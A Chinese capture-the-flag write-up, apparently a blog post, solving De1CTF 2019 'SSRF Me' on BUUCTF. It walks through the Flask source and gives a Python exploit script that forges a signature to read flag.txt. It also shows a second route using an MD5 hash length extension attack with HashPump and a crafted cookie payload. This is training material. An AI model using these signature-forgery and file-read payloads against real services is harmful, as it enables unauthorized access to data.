[De1CTF 2019]SSRF Me | BUUCTF

根据题目名我们知道这是一道SSRF的题目

它允许攻击者在受害服务器上发起未经授权的网络请求

分析

在buuctf上有一个提示
在这里插入图片描述
也就是说flag在 网站的flag.txt

访问主页
在这里插入图片描述
很明显是段flask代码

格式化后

from flask import Flask, request  # 导入Flask和request模块
import socket
import hashlib
import urllib
import sys
import os
import json

reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)  # 创建一个Flask应用实例
secret_key = os.urandom(16)  # 生成一个16字节的随机密钥

# 定义一个名为Task的类,用于处理任务
class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action  # 任务动作
        self.param = param    # 参数
        self.sign = sign      # 签名
        self.sandbox = md5(ip)  # 根据IP生成一个唯一的沙盒目录名

        if not os.path.exists(self.sandbox):
            os.mkdir(self.sandbox)  # 如果沙盒目录不存在,创建它

    def Exec(self):
        result = {}
        result['code'] = 500  # 默认响应码为500

        if self.checkSign():  # 检查签名是否有效
            if "scan" in self.action:  # 如果任务动作是"scan"
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)  # 执行扫描操作
                if resp == "Connection Timeout":
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                    result['code'] = 200  # 执行成功,响应码为200

            if "read" in self.action:  # 如果任务动作是"read"
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()  # 读取结果

        if result['code'] == 500:
            result['data'] = "Action Error"  # 如果动作无效,设置响应数据
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"  # 如果签名无效,设置响应消息

        return result

    def checkSign(self):
        if getSign(self.action, self.param) == self.sign:  # 验证签名是否匹配
            return True
        else:
            return False

# 创建路由"/geneSign",用于生成签名
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)

# 创建路由"/De1ta",用于处理任务
@app.route('/De1ta', methods=['GET', 'POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr

    if waf(param):  # 检查是否触发Web应用防火墙(WAF)
        return "No Hacker!!!!"

    task = Task(action, param, sign, ip)  # 创建任务对象
    return json.dumps(task.Exec())  # 返回任务执行结果的JSON表示

# 创建根路由"/",用于返回文本文件内容
@app.route('/')
def index():
    return open("code.txt", "r").read()

# 定义一个用于扫描URL的函数
def scan(param):
    socket.setdefaulttimeout(1)     # 设置超时时间
    try:
        return urllib.urlopen(param).read()[:50]  # 打开URL并读取前50个字符
    except:
        return "Connection Timeout"

# 生成签名的函数
def getSign(action, param): 
    return hashlib.md5(secret_key + param + action).hexdigest()

# 计算MD5哈希的函数
def md5(content):
    return hashlib.md5(content).hexdigest()

# Web应用防火墙(WAF)检查函数
def waf(param):
    check = param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):  # 检查前缀开头
        return True  # 如果参数触发WAF规则,返回True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0', port=80)  # 启动Flask应用,监听在0.0.0.0的80端口上

分析代码

  • 路由
    • /geneSign :对param参数进行签名
    • /De1ta : 从客户端获取 action,param,sign参数,获取用户ip,使用waf函数对param进行检测,使用Task对象处理
    • / : 读取code.txt并显示
  • 全局函数
    • scan : 对指定url进行请求
    • getSign: 使用md5进行签名
    • md5 :对参数进行md5加密
    • waf :对参数进行检查,拦截字符串开头为 file和gopher的字符串
    • Task :

如果直接访问flag.txt肯定是不行的,,因为没有这个路由

其中有个scan函数

def scan(param):
    socket.setdefaulttimeout(1)     # 设置超时时间
    try:
        return urllib.urlopen(param).read()[:50]  # 打开URL并读取前50个字符
    except:
        return "Connection Timeout"

构造

可以直接传递文件名进行读取(flag.txt)

首先需要获取sign

根据代码构造我们需要的sign

if "scan" in self.action:  # 如果任务动作是"scan"
if "read" in self.action:  # 如果任务动作是"read"

在Tesk类中有这两行代码,只要指定字符串存在action中,那么就是True
此时我们可以构造 readscan 或者 scanread
这样在第一个scan的时候会将结果写入文件,第二个read的时候就能读取文件中的内容了

代码中的print resp只会打印在本地控制台,并不会显示在网页中

而param我们构造 flag.txt即可

获取sign

@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param) 
?param="flag.txtread"

为什么要构造flag.txtread
因为action默认指定为 scan
原本我们需要的sign

action=readscan
param=flag.txt
sign=getSign(action, param) = (flag.txtreadscan) = flag.txtreadscan

因为在 getSign 函数, action和param是反过来拼接的

也就是说我们只需要构造flag.txtreadscan的sign即可,既然action被指定为scan,那么我们构造param为 flag.txtread也能获取一样的sign

?param=flag.txtread

在这里插入图片描述

获取flag

def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ....

构造响应的参数

Cookie: action=readscan;sign=867c8e2493858fe77eb941ccb2724d18
?param=flag.txt

在这里插入图片描述

exp

import requests

url = "http://b26db27b-2c00-44ee-a653-3f194e0c3271.node4.buuoj.cn:81/"
sign = requests.get(url+"geneSign?param=flag.txtread").text		# 获取sign
cookies = {
    "sign": sign,
    'action': 'readscan'
}

flag = requests.get(url+"De1ta?param=flag.txt",cookies=cookies).text  # 获取flag

print(flag)

其他解法

哈希长度拓展攻击

这个就涉及到md5实现的一些原理了
可以参考下
https://zhuanlan.zhihu.com/p/587802432
https://www.cnblogs.com/pcat/p/5478509.html
使用工具 hashdump

下载hashpump

git clone https://github.com/bwall/HashPump
apt-get install g++ libssl-dev
cd HashPump
make
make install

举例

原理可能稍微有点复杂,我们只需要知道需要的条件就可以了
这里用php举个例子

$secret_key = '1234567890';	# 盐
echo md5($secret_key. "admin");

输出的hash值为 501530457b49501056d8f994d12252ca

我们这里知道了几个关键要素

  • hash值 : 501530457b49501056d8f994d12252ca
  • 输入的值: admin
  • 盐的长度 : 10

知道这些条件我们就可以构造一个hash值

使用hashpump

在这里插入图片描述

Input Data to Add是我们需要附加的值,附加的值会追加到我们输入的值上

最后hashpump输入了两个值,一个hash,和一个追加数据后的值

验证

$secret_key = '0123456789';
echo md5($secret_key. "admin\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00x\x00\x00\x00\x00\x00\x00\x00wlbnb");

最后输出 c231ab9c9647fda124aa8f2dd5cef076 , 和hashpump给出的hash值一致

利用

回到题目

在这里插入图片描述

通过hashpump就能构造两个一样的hash值从而通过验证
从前面知道了三个条件

  • hash值
  • 盐的长度
  • 输入的值

在这里插入图片描述

根据源码我们知道盐的长度

secret_key = os.urandom(16)  # 生成一个16字节的随机密钥
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)       # getSign('scan', 'flag.txtread')  # 9b7be9abc20f7d0ea3883024bb47d0e0

# 生成签名的函数
def getSign(action, param): 
    return hashlib.md5(secret_key + param + action).hexdigest()

secret_key + param = 16 + flag.txt(8) = 24

而我们的输入就是scan, 最后我们需要追加上read

在这里插入图片描述

\x 替换成 %即可

?param=flag.txt
Cookie: sign=1214910894c1371b811859b24118598d; action=scan%80%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%e0%00%00%00%00%00%00%00read

在这里插入图片描述

注意这个sign参数的hash是hashpump生成出来的hash

  • 1
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 4
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值